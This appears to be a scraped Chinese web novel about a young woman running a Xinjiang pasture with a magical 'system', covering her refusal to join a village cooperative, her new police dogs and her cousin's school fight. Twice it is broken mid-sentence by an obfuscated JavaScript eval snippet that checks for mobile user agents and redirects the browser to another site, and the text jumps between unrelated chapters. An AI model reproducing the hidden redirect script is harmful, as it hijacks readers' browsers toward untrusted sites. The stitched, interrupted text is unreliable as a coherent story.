还得逐步减少一些高纤维的粗料，增加易消化的饲料等等。 姚新泉厚厚的笔记本已经换了一本了，除了怀孕母牛的饲养，包括分娩后如何照顾母牛跟小牛她都做了许多的笔记。 从系统给她开课开始，她除非真忙到半夜，就像昨天晚上盯着公羊配种盯到半夜之外（姚新泉感觉自己怪变态的），基本每天都学习到凌晨1点左右，忙得不得了。 她把家里最大的一口锅翻了出来按照书上说的开始给牛煮粥，麸皮粥。 搅拌的过程中她看着锅里那锅糊糊直叹气，“怎么没见别人给牛煮粥啊？”系统知道她只是随口抱怨懒得理她。 因为她是在院子里煮粥的，麸皮粥煮开了也有一股特别的香气，这不就把皮皮勾来了！ 她回个头的功夫皮皮就伸着脖子想去锅里喝粥，吓得姚新泉上去就是一巴掌。 “你疯了是吧？舌头给你烫掉！” 皮皮希律律叫了几声总是趁她不注意就想偷吃，气得姚新泉头大。她把皮皮跟其他几个小家伙的饭盆都拿了过来，每个给舀了一勺子，免得一个个都那么好奇，不过除了皮皮之外别的小家伙都不乐意吃，莱尼连闻都懒得闻。 这下皮皮就更高兴了，把他们每个碗里的粥都舔干净，傻了吧唧的。 平安食欲还行她就没给平安喂，他腿伤姚新泉也是专门给配了料的，暂时不去给他做调整了。 这天马合木提江用村里小卖部的电话给她打了个电话，听到他的来意后姚新泉有些迟疑，加入合作社？ 怕姚新泉误会他赶忙解释，“没有说你一定参加，只是村里准备下午开会，我想着你也可以去听一听，如果好的话就加 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15662146|170392||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 入，不好的话就当凑热闹。” 姚新泉嗯了一声表示自己会去的，又说了两句便挂了电话。 姚新泉的户籍是在村里的，她家能承包这么一片牧场很大的原因也是因为她们就是本地人，之前村里还有她家一片宅基地呢！ 她之前其实已经隐隐听说村里有这个意思了，但是她没觉得自己这个牧场会被包含其中。 姚新泉收拾收拾之后便下山直直去了村委会，哈拉苏的村委会不大，加起来总共就三间平房，一间是办公室，一间是杂物间还有一间是会议室，姚新泉跟马合木提江会和后便去了会议室。 新疆从八十年代开始就一直在鼓励牧民定居，马合木提江家虽然是牧民出身，但是他家没有牲畜，后来虽然搞家庭联产承包分田到户的时候他家也分到了地，但是从来就没种过地的人，你难道指望人家能丰收吗？ 他家也尝试过，但是后来发现真的吃不了这碗饭，所以最终还是跟着姚家干的，家里的地就承包给旁边邻居了。 “我听说如果自愿入社的话可以将土地什么入股给合作社，到时候同意拿分红，我家的地都是一年给一次租金的，要是合作社靠谱的话租给村里也行。” 姚新泉点了点头，她也没说什么，只是静静地等待会议开始。 村长跟书记没一会儿就到了，见人来的差不多之后他拍了拍手示意大家安静，“多的话我也不说了，我来讲一下今天让大家来的目的”，村长叶尔江站了起来。 “上面现在鼓励咱们基层去成立农村合作经济组织，也就是合作社，将种植、养殖资源整合，发展特色产业，带领大家脱贫致富。” 书记赵明看了他一眼后也站起身来，“我也跟大家讲一下这加入合作社的优势，如今咱们新疆正在推行农牧业改革，咱们如果以合作社为单位去经营，更容易获得一些政府的补贴跟技术指导方面的支持，像是咱们由合作社出面大规模去采购饲料、种子也能降低成本。销售的事情也不用你们再去愁怎么找老板了，由合作社出面去谈。” 接下来他将加入合作社的好处大谈特谈，姚新泉只是垂着眼睛没说话，好处确实有不少，加入合作社之后社员对抗风险的能力肯定要比一个小家庭要强得多！ 像是这两年市场上的羊毛价格波动就已经很厉害了，很大一部分是因为化纤产品的冲击。 羊毛制品确实有它的好处，但随着工业的发展，化纤产品的价格只会越来越低，羊毛价格居高不下，市场上确实有羊毛的稳定客户，但是也有很大一部分人没有必须要选择羊毛制品的理由啊！ 供大于需的时候羊毛价格自然上不去！ 这种情况小规模养殖户或者说散户又怎么找老板，怎么卖上价呢？ 如果是以合作社出面去谈甚至以几个合作社的名义呢？ 另外成立合作社之后可以进行专业化分工，提升效率的同时还能解决个体养殖或者种植劳动力不足的问题，确实有很多的好处。 不过姚新泉并不怎么动心。 61. 第 61 章 凡事都有利弊两面，对于姚新泉来说，她觉得弊端更多。 比方说经营自主权受限，如果合作社内部的经营人员管理不善的话可能还会出现各种矛盾。 不是姚新泉瞧不上他们，主要是如果这个合作社的管理人员就是村委会的工作人员的话，她确实不太认为一群从没有做过生意的人能够领导另一群没做过生意的人经营好这个合作社，慢慢摸索尝试着来这种就另说。 如果他们决策失误或者有别的心思，自己家里才租赁下来的30年的草场遭到了破坏，就算将来想要退出也麻烦。 所以对于姚新泉来说一家目前看起来一点也不成熟的合作社并没有吸引她的地方。 再说了合作社能提供给她的条件她未必期待，比方说技术。一方面她有系统的金手指，自己也能够联系到外界买到许多书，学习到许多知识，如果有真的难以解决的问题还能辗转联系上农大的人，她在技术方面并不会有太多为难的地方。 至于销售渠道什么的，姚新泉本质上不太信奉酒香不怕巷子深，但是她也很坚信必须得提高品质才能保证客户。 以家里羊毛目前的品质来说，吾斯曼就足够吃下了。羊肉的话马强那边可以销售，秋天乌恰会也是一个渠道，她很看重中亚市场。 繁育的话，她已经在自己尝试了，想引进特殊品种的话合作社未必能帮得上自己，想引进一般品种也不必通过合作社。 所以姚新泉来之前就已经做好了决定，她不会加入这个合作社。 不加入归不加入，这不代表她要跟这些人产生什么矛盾啊！ 新疆那是出了名的地广人稀，村里想扩大合作社的规模大可不必盯着自家牧场，完全可以将视线转向开荒，或者还没被承包下来的地方。 另外就是到底地是村里的地，要是真闹到不可开交的话，万一人家咬死了要收回，支付违约金也要收回怎么办？虽然她不觉得会到那一步。但还有续约的问题呢？ 反正总而言之，没必要起矛盾，反而可以合作嘛！ 姚新泉心里下定了主意后人也坦然了许多，引得赵明看了她好几眼。 他们村委会领导班子之前开会讨论过关于姚新泉的事情，没办法不重视，这可是他们村子里最大的一个承包户了，不管要不要把人家拉到合作社里面都得有一个正当理由，不然其他人肯定都会受影响。 如果她不加入，那许多人会觉得她都不加入是不是加入合作社不好，他们也不要加入了！ 但是如果让她加入的话对于他们这个新的合作社来说压力太大了！ 赵明和叶尔江都想得很清楚，人家自己去年干得蛮好的，他们插手之后未必能干得更好，过度关注那么大的区域反而可能会导致他们无暇顾及其他地块儿，他们不能一上来就给自己上难度啊！ 等两位领导说完话之后众人畅所欲言，有人便问姚新泉的态度，姚新泉最开始只是推脱自己年轻，让别人先说，但后来被许多人架了起来，姚新泉暗暗叹了口气还是表达了自己的观点。 “首先非常感谢咱们村领导还有上面的领导为了咱们老百姓考虑想要成立这个合作社，对于我个人而言其实能和大家共同发展进步是很高兴的。” “但是从我接手这个牧场到现在，我在牧场上下了很多心血，也做了不少改变，还决定引入了不少牲畜，包括国外品种，目前已经在回国的路上了，不久后我会在牧场上进行新品种的繁育工作。” “我确实是学习了一些知识，背后也有一些长辈给与我各方面的支持，但是即便如此，我也不敢保证我的繁育方向一定是正确的或者我一定能够繁育出品质很高的肉羊或者产毛的羊，但是我愿意尝试，我也愿意自愿承担风险。” “但是我摸着良心说一方面是想等我的繁育有结果了之后再说，另一方面我也不想将我自己的风险转嫁到大家身上。” 听到这里赵明和叶尔江两人对视一眼后都松了口气，差点以为她要加入了呢！ 众人也点头，他们养了一辈子本地的羊，本地的羊有什么不好的还要去引进外国的羊？ “所以我考虑了一下之后还是决定暂时先不加入咱们合作社了，未来有机会的时候再合作。” 叶尔江两人都笑着接过话，“那咱们就等着看小姚牧场出产的牲畜了！” 姚新泉笑着点了点头。 总的来说今天的会议效果还不错，虽然没有立马定下来，但是姚新泉觉得不少人其实都挺有意向的。 加入合作社可以获得租金、劳务费以及分红，听起来比他们自己种地靠老天吃饭好像要靠谱一些。 姚新泉跟着大部队走了，她最开始是想着要不要给他们推销一个新产品来着，但又觉得合作社刚成立他们未必肯担这么大的风险，另外销售市场可能也有点问题。 之前乔为民不知道是出于补偿心理还是怎么样给了她一个联系电话，说她如果考虑种洋姜的话可以联系对方。 姚新泉以前从来没接触过洋姜，还是后来出去上学之后吃过腌制的洋姜，觉得口感蛮特别还挺好吃的。 这次乔为民提了这个作物之后姚新泉去过县里一次，可惜没买到太多相关书籍，最后没办法她开始薅羊毛，薅系统的羊毛。 她发现了，其实系统对她的一些“得寸进尺”行为很是包容，比方说当她真的很迫切地了解洋姜的种植难度、成本、收益以及加工后的产品时，系统真的告诉她了。 洋姜又叫菊芋或者鬼子姜，是一种经济效益还挺高的作物。洋姜含有天然菊粉，可以延缓葡萄糖的吸收，改善胰岛素的敏感性，很是适合糖尿病患者以及血糖偏高人士食用。而且这东西还能促进肠道健康，保护心血管以及多种潜在益处。 另外这东西耐旱耐贫瘠，管理成本低，亩产却很高，亩产最高能到2-3吨。 深加工之后可以提取做保健品也可以发酵做乙醇、腌制等等，不过姚新泉盯上它更多的是作为饲料使用。 洋姜煮熟或者发酵之后的适口性很好，茎叶部分还可以直接青贮或者晒干后添加使用，块茎部分可以作为能量饲料。 如今国家正在推广“秸秆养畜”等政策，鼓励不要使用粮食作物去开发作为饲料，上面也是因为这个才考虑到洋姜的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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雪已经在慢慢化了，温度逐渐会高起来，因为家里牲畜基本都怀孕了，所以暂时不考虑出去放牧。 而且在草刚冒牙的时候，羊上去两口把人家根给撅了，对草场也不好，所以短期内还是先圈养，等草场上的雪化完再说。 等雪化完之后还得重新划分区域，得安栅栏把牲畜跟家禽隔开。 引进伊犁鹅这些家禽的事情也得抓紧了，都是本地的，应该比较好找。本地也有草原绿头鸭，这个也不麻烦，但是藏鸡的话如果不好找那也可以再等等，毕竟今年有珍珠鸡，这个也可以问一下赵强那边怎么样了！ 还有堆肥，家里的估计不够，草场长势不好的地方都得安排一下。 …… 姚新泉写得头晕，哀嚎一声把笔扔到一边倒在了沙发上，趴在一旁的莱尼探头看了一眼又继续睡了。 莱尼现在已经不穿外套了，但她还是不爱出门，别的小家伙天天在外头踩的一身泥泞，姚新泉现在都不让他们进客厅，就莱尼跟小金两个被准许进入。 泥猴子止步！ 18-20 第18章 等姚新泉每条狗支付了两百块,带着一大袋狗粮，牵着五条帅气逼人的狗出来时，楼宇已经在外面开了辆皮卡等着了。 “上车！基地主任跟我领导打电话借了我一下午,我给你送回去,顺道回家看看！” 饲养员刚想引导五条狗狗上车,就见姚新泉把皮卡后车厢打开,朝几个小家伙使了个手势,几个小家伙立马就往车上跳,一点儿都不带迟疑的，看得饲养员心酸。 “我把地址给你了，冬天下大雪的时候估计会封山，平时你要是想他们了欢迎你来做客,我扫榻相迎！” 两人又寒暄了几句姚新泉便上车了,饲养员看着五条小狗眼睛都红了,突然也不知是那一条先带的头，朝向他长长地叫了一声，似乎在告别又似乎在期待下一次的重逢,饲养员眼泪唰地就落了下来。 他用力地朝车厢挥手,“你们好好的，要听话！要好好工作知道吗？我有机会会去看你们的！” 车里的几人自然是听到动静了,只是谁都没有回头,未来大家都会很好的。 “你得给他们弄狗窝吧？还是让他们干脆就住羊圈？” 姚新泉早就有了打算,就算是工作犬她也不忍心几个小家伙就睡在羊圈里。 “我家不是六间房吗,有一间现在是用来做储藏间的，我会去之后就打扫出来给他们几个住。到时候房门不关，冬天给他们做一个那种厚厚的门帘子，他们不管是进出工作还是上厕所都方便。” 艾力点头,其实就算是工作犬也没有说必须得住在工作的地方，再说了她家羊圈离房子很近，只是羊圈那些在下风口，不至于有味道。 姚新泉想的更多，她打算好好驯驯他们，如果让他们有隔一段时间出去巡逻的意识，那肯定就更安全了。 “系统，我能给他们教会定点儿巡逻，并且排班吗？” “你都还没驯，你问我？” 听出系统不太高兴了，不过姚新泉也没在意，不就是刚才系统主动想提出来给几只小狗做检测和分析被她拒绝了吗？不过她还是跟系统确认了几个小家伙都很健康，也很聪明。至于检测血统之类的，她又不是搞犬只繁殖的，这些确实不重要啊？ 而且对姚新泉来说，眼缘是很重要的，这几只小家伙就很合她的眼缘。 系统在姚新泉脑袋里哼哼了半天，见她最终还是没有给自己想要的反应这才安静下来。 车开到兽医站的时候把艾力放下了，姚新泉探出头出喊道，“今天多谢你了！” 艾力摆了摆手，互相帮忙嘛！ 楼宇开着车又带着姚新泉跟狗子们去了牧场，等到了地方他的眉头就没松开，“太偏了，你自己住着太不安全了，防护网都围好了吧？” 姚新泉点头，给他倒了杯热水，楼宇接了过来，“今天来不及了，我回头哪天休息的时候过来看看，要是防护栏有问题得赶紧补救”，想到什么他又赶紧问，“你家拉电话线了吗？” 姚新泉点头又摇头，“预定好了还没来家里装。” 楼宇没好气地瞪她，“你说说都怪你自己，你回来了不跟我说，我妈不就是管这块儿的吗？你要早跟我说我跟她打个招呼你家电话保不齐都能用上了！行了，我过会儿去跟我妈说一声赶紧给你这边装上。” 另一边割草的几人正好已经割完了并且都摊开晾晒了，听到动静刚好过来，见到穿着警服的楼宇都愣了一下。 姚新泉朝几人点了点头，“是已经割完了吗？那我先去看一下。” 楼宇没跟着去，他打算把姚新泉家里的电路、用水全部都检查一遍，她一个人住着万一出了点什么事情就很麻烦。 姚新泉见那边没问题了便给几人结了账看着他们离开，回来的时候楼宇也不知道拿着从哪里翻出来的一个扳手在捣鼓着。 他拍了拍手，“行了，电跟水都没问题，我还得回家一趟就不再这多待了，回头我跟我爸说一声让下面的人注意点儿你这边的治安。我把我爸办公室电话跟我办公室电话也给你，我这边要是有什么顾不上的你跟我爸说，你也都认识，别客气！” 两人从小学开始到高中一直同班，初中的时候楼宇成绩还可以，高中之后有一阵子他迷上了看武侠小说，学习成绩一落千丈，要不是后来姚新泉拉着他在高三的时候恶补，他怎么可能考的上本地的警察学校？ 因为这个，楼宇爸妈在家里还总提到她，她的事情自己爸妈肯定不会不管的。 姚新泉没忍住轻轻抱了抱他又松开，“行了知道了，你现在话可比从前多多了啊！” 楼宇没好气地瞪她，“我现在接触的全是基层警务，天天处理一些狗屁倒灶的事情，嘴皮子都跟他们磨烂了好吧！” 到底时间紧张，他晚上还得回市里所以没说两句就走了，看着他姚新泉还挺感叹的，孩子大了啊！ 五个小家伙被她先放在了空置的一间羊圈里，等楼宇走了之后她先是把那间储藏室的东西都收了出来，有一些腾到厨房里，有些放到地窖里，剩下的基本上都扔到羊圈里去了。 等这边屋子整理好后，她又把家里的羊皮褥子拿出来了两床，在地上先铺上干草，又铺上了纸壳子，最后又铺了一层羊皮褥子。 等收拾完之后她起身看了看，嗯，虽然看起来好像挺简单甚至有点简陋，但是那羊皮褥子很是保暖跟软和，而且爸妈收拾得很干净，上面也没有异味，反正姚新泉是觉得挺好的。 收拾好后她去把几只小狗放了出来，领着他们到了这间屋子里，见几个小家伙都新奇地到处闻，姚新泉眼中也闪过一丝笑意。 “得给你们起个名字”，在基地的名字没有带出来，饲养员没提她也没问，要开始新的生活了，有个新名字也挺好的。 她看着最大只的罗威纳，想了想，“你就叫娜娜吧！好不好？”她挠了挠罗威纳的下巴，见她眯着眼睛，情绪也挺好的便知道她是愿意的。 又看向三只德牧，“长毛的叫毛毛，耳朵起不来的叫塔塔，最后一只叫大头吧！”本来想叫塌塌来着，觉得不是太好听就算了。 最后看向昆明犬，这只小家伙背上有一块儿深色的毛团看上去像个云朵，“就叫你朵朵吧！虽然是男孩子，但也能叫朵朵对吧？” 小八卦精冲进她的怀里坐着就不走了，姚新泉笑得抱着不撒手。 饲养员说了，这批小家伙都做过驱虫也打过疫苗了，系统也说这些小家伙都很健康，不过该有的隔离还是要有的，毕竟家里还有一个没满月的小不点。 “家里还有一个弟弟叫点点，他比你们都小，以后你们要好好学本事才能教弟弟对不对？”姚新泉放低了声音听上去特别温柔，她也说不好几个小家伙能不能听懂，但是养小动物不就是这样的吗？就算听不懂，一点儿也不碍着她碎碎念啊！ “这两天你们可以先不用工作，在家里歇一歇，认一认地方”，新到家的狗狗肯定还是要隔离的，“我带你们去认一下厕所在哪里，回头你们不许在家里上厕所知道了吗？” 他挑选的狗厕所就在人厕所边上，专门给他们挖了一块儿地铺上了沙土，等领着几个小家伙到这儿之后姚新泉有些头痛，“在这里尿尿知道吗？”她强调了好几遍，刚想“嘘嘘”的时候就见朵朵抬起右后腿就来了一大滩。 随后便像是泄闸了一样，五个排着队比着来…… 姚新泉笑得不行，又表扬了几小只之后这才带着他们回了他们房间。 “你们先在家里待着，我去山下买点儿东西知道吗？”跟几个毛孩子强调了好几遍，又去跟小金雕跟点点说了一声之后她这才骑车下山，得买点儿肉，家里这几个除了皮皮全是吃肉大户。 饲养员给的配方里也是各种肉类，牛肉、羊肉、猪肉都有。如今普通老百姓餐桌上都没办法保证日日都有肉吃，可警犬们的伙食那是有公安部专门的规定制定了细则的。 虽然说地方在执行起来肯定是有区别的，可本地本就算是牧区，相较于许多地方这边吃肉要便宜很多，所以警犬的伙食平均下来每天要有500克肉左右呢！ 家里又多了几个吞金兽，姚新泉不免又琢磨起有没有什么赚钱的法子了。 牧场养殖牲畜就没有哪个是短期能得到回报的，人家身上的肉跟毛那都是一口一口吃出来的，她倒是想两天增肥20公斤，这不做梦吗？ “是不是可以养殖兔子啊？”姚新泉嘀咕着，这东西养殖周期不算长，三四个月就能出栏，现在养，1月份就能卖，到时候应该能回血一笔。 可问题也多啊！ 这养兔子在哪养？是重新盖兔圈还是用家里还未使用的羊圈？可羊圈地上那就是普通土地，兔子挖洞怎么办？ 还有货源以及到时候的销售渠道问题，难道说全朝系统伸手？ 另外冬天这边普遍零下20度左右，听系统的意思，今年可能还是个寒冬，保不齐要到零下30度了，到时候兔子会不会冻死？哪怕不冻死生长迟缓也很发愁啊？ 还有饲料的问题，家里多养了一批羯羊本身就已经有缺口了，所以她才又是买精料又是买秸秆的，这要是再养兔子又得去折腾饲料。 还有最重要的一点，她是新手养殖户啊！ 这牛羊马还没养明白呢，又去折腾别的，到时候万一哪头都不成那才真是后悔莫及呢！ 养兔子的念头在姚新泉脑海中过了一遍也没留下什么影儿，最起码等到明年再去想想要不要扩大养殖规模，今年先把该育肥的育肥，好好把冬天过了吧！ 第19章 几个小家伙适应得很快,也不知道是本来就聪明还是有她金手指的原因在，半个来月的时间他们已经适应了去当一条牧羊犬了。 几个小家伙里面性格最活泼的就是朵朵了，虽然还是有点儿风吹草动就想去凑凑热闹,但是姚新泉跟他做了好几回思想工作之后他总算明白了要得先做好自己的工作才能去干别的。 毛毛、塔塔跟大头的话这到底也算是人家老本行了,也没啥不适应的。 最让她惊喜的是娜娜,这个小家伙如今放牛放得可好了！她不仅已经学会驱赶牛群,到点儿了把牛群赶回家来补饲料,她还带着点点玩儿！ 她每天早晨上工的时候就把点点叼在嘴里,到了地方再把他放下来让他自己跑，换地方的时候还知道把孩子找回来。 最初姚新泉只是起了个念头，她给娜娜弄了个小兜儿，里面装上点点的羊奶,她再把小兜跟点点一起叼着。 姚新泉跟着走了两天,发现点点饿了的时候,娜娜就会把奶瓶叼出来让他喝奶，姚新泉都惊呆了，这是什么神仙奶妈！ 她好好奖励了一番小家伙之后娜娜带娃带的更欢快了。 皮皮更能跟朵朵玩到一起去,为了让他们熟练工作,姚新泉现在是让娜娜去牧15头公牛，毛毛、大头和塔塔去牧80头羯羊,朵朵的话跟着玛依拉和马合木提江去牧500头细毛羊。 也是因为最近马合木提江他们往山下走了一点儿,不然太远了也不能让孩子整天跑。 后来也不知道咋回事,皮皮天天跟着朵朵去放羊,有一次还被姚新泉抓到皮皮想把朵朵甩到自己背上驮着他走…… 她觉得皮皮骨头还没长成都不舍得骑，结果人家自己给自己找了个骑手。 就离谱！ 不过最终以朵朵坠马告终，两个小家伙还是只能每天来回奔波。 时间飞逝，转眼姚新泉回来牧场已经小两个月了,9月种下的黑麦草如今已经可以进行第一次收割了，如果温度高的话一般情况下10月底就能收割了，可惜今年温度比往年要低几度，到11月初才能收割。 姚新泉又请了上次的师傅把麦草都收割完后，父母还有自己囤的这些干牧草将近四五百吨了。 不要觉得多，北疆的冬天漫长，差不多从11月中下旬到3月份，将近150天的时间。一头羊每天差不多要吃将近3公斤干草，就算不算那些羯羊，这就差不多250吨了。 牛的话一天得将近10公斤，算下来也要150吨。马一天差不多要吃8公斤干草，这又是十来吨。 这还没算那些羯羊呢！ 今年春节比较早，2月4号就过年了，那差不多1月初就得全部出栏。从现在到1月初还有将近两个月呢！ 就算再添加了一些精料，可这草料也不能紧巴巴的去吃吧，总得留一点儿余地。 姚新泉已经看好了一片草地的牧草，还能割一次，已经让师傅去割了，估计那边晒干之后还有个五六十吨，这样算下来基本上才够。 看系统的意思是大后天就要下雪，到时候羊就要开始圈养了，这几天还是继续让马合木提江夫妇他们放牧。 “姐！你在那儿啊！” 姚新泉的思绪被打断了，她无奈地看向那边喊叫的张新康，也就是她小姨的儿子。 “我在哪？你睁大眼睛看一下，我不就在你眼前吗？”姚新泉直起身子举着菜刀看向他。 张新康动作一顿，没忍住往后退了一步，又得了姚新泉的一个白眼，“赶紧过来下地，给我收白菜！” 找个免费的小工容易吗！ 张新康委屈巴巴地刚想去找菜刀就被拦住了，“你别碰刀啊！你就跟在我后面，把我切下来的这些白菜外面烂的叶子扒掉，那种不太新鲜的还是留着，然后都放到田埂上去，回头我拉回去晒。” 张新康哦了一声，刚要动又被拦住了，“你把你那皮手套脱了！”姚新泉没忍住叹气，谁家干活带皮手套？ “我客厅抽屉里有劳保手套，你去拿一双过来！” 张新康在学校也是个闹将，但不知道为什么从小在这个表姐面前都没敢大声说过话。 他姐比他大五岁，印象中他七八岁的时候曾经被姚新泉一脚踹倒在地上，他哇哇哭，他爸哈哈笑，从那时候他就知道了，别想跟他姐斗，他姐不会让着他，他爸妈更不会帮他！ 从那之后他姐说东他不敢往西，老实极了。 姚新泉见他跟个小媳妇儿一样不知道从哪里找到了一条她妈妈之前的头巾把自己裹得严严实实的眼中闪过一丝笑意，“康康，我听你爸说你在学校打架？” 张新康僵在原地，随后便是一阵气闷，“我爸就是个大漏勺，他都跟我说了保密不告诉我妈的！” “那你爸现在也没告诉你妈啊，他只是告诉我了，我也没告诉你妈，我只是好奇问问，你别激动。” 张新康见她没有训斥自己的意思也来了劲儿，抱着硕大的白菜颠颠儿地往田埂上跑，倒也不影响他说话。 有一说一，系统出品那是真的精品啊！ 今年她总共就在这四亩的菜地上用了配好的肥料，如今这大白菜不仅颗颗都包芯了，而且老大一颗，姚新泉掂量了一下，感觉大差不差有十公斤了。 萝卜也是，她种了好几个品种，青皮萝卜、白萝卜、胡萝卜、黄萝卜还有心里美萝卜，各个儿都是大家伙，导致姚新泉现在心里既有丰收的喜悦，又有点肝儿颤，这一个冬天净吃萝卜啊？ 明天春天她可得给牧场上好好施施肥！ 她爸妈承包的这片牧场大多数地方的草场质量 还是不错的，她家也算是轮牧，给了草场缓冲的时间，并没有因为放牧对草场造成太大的损伤。 但是这毕竟承包了三十年，总要为以后着想。 而且还有几片地方有土地盐碱化的趋势，她是打算了明年开春看看种点儿东西，比方说种点苜蓿之类的，到时候就用上这个肥，不过到时候可能得跟别人买点了，算了，等春天的时候看看家里的粪肥有多少吧！ 思绪飘了一下她又开始关心张新康的事情了，事实上这次张新康周末过来玩是他爸专门打电话来说的。 没错，姚新泉的电话装好啦！ 上次楼宇回家跟她妈一说，第二天就有人上门来拉线了，姚新泉心里记下了这个情，打算过年到时候给人家送点儿自家养的牛羊过去。 张运秋专门打电话过来跟她吐槽，说是张新康在学校跟别人打架，老师找了家长过去谈话，张运秋亲自问他是怎么回事儿他也不说，也死犟着不道歉。 就这样啥都不说，最后竟然还好意思让张运秋别告诉苏永华，张运秋当时都气笑了。 “我都在想，我如今胖起来你小姨说我满脸横肉，脸上再来一道疤就跟手上沾过好多血一样了，就这样那个兔崽子是一点不怕，还跟我提要求？”这是张运秋的原话，当时把姚新泉笑得不行。 不过张运秋相信张新康不是那种坏孩子，里面肯定有别的事情，他既然不愿意跟爸爸妈妈说，没办法他只能来拜托外甥女了。 张新康跟这个姐姐最亲，保不齐能问出什么来。 “我丑话说在前面，你应该猜到了我是帮你爸来打探消息的。他虽然相信你肯定没有干坏事，但还是关心你，你跟我说的东西我很大可能性是要跟你爸说的。你要是真觉得不方便说那也就别告诉我。” 姚新泉这话一出倒让张新康笑了起来，他带着个红头巾笑得跟驴叫一样，也不知道在傻笑什么。 过了一会儿他才有点不好意思地凑了过来，“也不是不能说，主要是我怕我爸以为我早恋了。” “我同桌是个女生，她”，张新康话到了嘴边还是有点说不出来，扭捏了半天才小声道，“就是，她发育比较快。” 姚新泉懂了，还以为这臭小子要说什么呢！ 见她不以为意张新康也不觉得羞耻了，继续道，“我们班的人还好，主要是普通班有几个男生，那真是贱得不行！我们两个班的体育课是一起上的，体育课不是要跑步嘛！”张新康从红头巾里给了姚新泉一个你懂得的眼神，姚新泉自然是明白了。 还能是因为什么？女孩子正常的身体发育，可能对于那个年龄段的孩子来说跟别人不一样就是一件令人觉得羞耻的事情。若是再有一些小王八蛋起哄，那更是会让女孩子头都不敢抬的。 长大了之后可能也会习惯性地含胸驼背，甚至去束缚身体的正常发育。这些臭小子真讨厌！ 姚新泉没问他是不是也会嘲笑小姑娘，自家这个弟弟皮了点儿，但是他可是个三观特正的好孩子！ “是不是那些人嘲笑小姑娘，然后你就跟他们打架了？” 张新康用力点头，眼中满是对姐姐的信赖，“可不是吗，他们可不止是嘲笑，嘴里还不干不净的，把我同桌都说哭了！我去跟他们说了让他们闭嘴，他们又是说我多管闲事又是说我”，他露出个被恶心到了的表情，“反正我就气得不行，他们嘴贱那就得挨打，反正我打的不后悔！” 第20章 “你姐先得夸你两句,我这才出去几年，你都会保护小姑娘了啊？” 听到姚新泉的调笑张新康嘿嘿笑着挠头，他就知道他姐最懂他了。 “不过不管怎么样,打架肯定是不可取的”,听到这话他又撇嘴,“你想啊,你把他打坏了,你爸妈得给人赔钱,还得去道歉，万一再严重点儿把他打死打伤了，他没了小命，你的人生也玩儿完了！” 张新康尴尬地张了张嘴,不至于真不至于,他又不是疯了！ “那要是你被打伤了,你爸妈不得心疼死？” “我知道你是出于保护女同学的目的动手的，本意没错，可你想没想过,万一这事儿闹大了,对方没兜住说了出来，那对人家女孩子的影响也很不好的。再或者会不会还有人说那女孩子不检点,小小年纪就勾得你们男生为她打架？”社会上对女性的苛责是从小到大都有的,就连国家的灭亡或者衰败不都能找出妲己、褒姒、杨玉环来背锅吗？ 知道张新康不是个傻的她也不多说,“行了,这事儿我记下了，我回头想想办法看怎么处理这个事情，我也不会跟你爸说，我只跟他讲事关别人隐私不好讲,不过你可得答应我以后不许随便跟人打架了知道吗？” 张新康咧着嘴点头，他姐从小到大就没有做不成的事情。 上学从来都是第一名，高考考了好高的分儿还去了上海读大学。听说现在已经不是每个大学毕业生都给分配工作，他姐还能自己找到那什么外企的工作。如今说回来就回来，牧场也经营的那么好，就没有他姐干不成的事儿！ 姚新泉不知道弟弟心里的感慨，不过这种事情还是得学校干预，不只是为了张新康，还为了那些女孩子。 张新康就读的初中就是她以前的初中，她有机会可以回去看看了。 聊开之后张新康只觉得姐姐更贴心了，他嘴里哼着不知名的小曲儿把大白菜都抱到了田垄上。 姚新泉那是有系统加持过的大力气，张新康那纯粹就是年轻人一身使不完的牛劲儿，看得姚新泉嘴角抽搐，“就该让你过来给我喂牛！” 哈哈！张新康笑了起来，“那你得等我中考之后了，寒假的时候我们学校还得补习，肯定是没时间的！” 他还在那嫌弃姚新泉砍得太慢了，跃跃欲试想自己来。姚新泉可不敢让他瞎胡来，这小子毛毛躁躁的，真砍到自己了她可没法儿交代。 “行了，你回去把我放在院子里的独轮车推过来，客厅边上有一大块儿帆布，你在门口铺上，然后把白菜运回去摊开来就行”，这新鲜白菜、萝卜得稍微晒两天，不然冬天存不住。 张新康小跑着回去，那背影欢快的让姚新泉突然开始怀疑，为啥不让雇童工？这种大小伙子不上学的时候不出来干活放在家里简直就是浪费资源！ 中午姚新泉烧了一顿红烧肉，里面切了一颗大白萝卜，吃得张新康满嘴流油，“姐，你家这萝卜怎么一点儿萝卜味儿都没有，特别清甜，也没什么纤维感，可比外面买的好吃多了！” 姚新泉心里得意，又招呼他吃醋溜白菜，“你再尝尝这白菜？” 张新康夹了一筷子之后眼睛都亮了，“姐，你到时候给我家点儿白菜跟萝卜呗，真的超级好吃，比肉好吃！” “我种了那么多呢，等明天送你回去的时候我拉一车下去，给你家还有我小姑、小叔家里分一分，你爸妈要是喜欢，你让他自己开车过来拉，我跑一趟还怪费劲儿的！” 张新康用力点头，不过又有些遗憾，“城里谁家也没地窖，估计存不了多少，你给我们几颗就成了，太多要是坏了可就浪费了。” 姚新泉无所谓这些，“看你们自己吧，快吃，吃完下午还要干活呢！”那么多地，上午估计也就收了一亩多，差不多要明天上午才能干完，让这小子也好好劳动劳动。 要说起来家里这几个弟弟妹妹里面她最喜欢的就是张新康了，这小子成绩虽然不是拔尖的，但是也不 差，最主要的是这孩子享得了福也吃得了苦。 如今这套房子是姚新泉家里新盖的，早几年家里住的虽然也是砖瓦房，但是屋子小，里面盘的火炕，冬天灰尘就特别大。 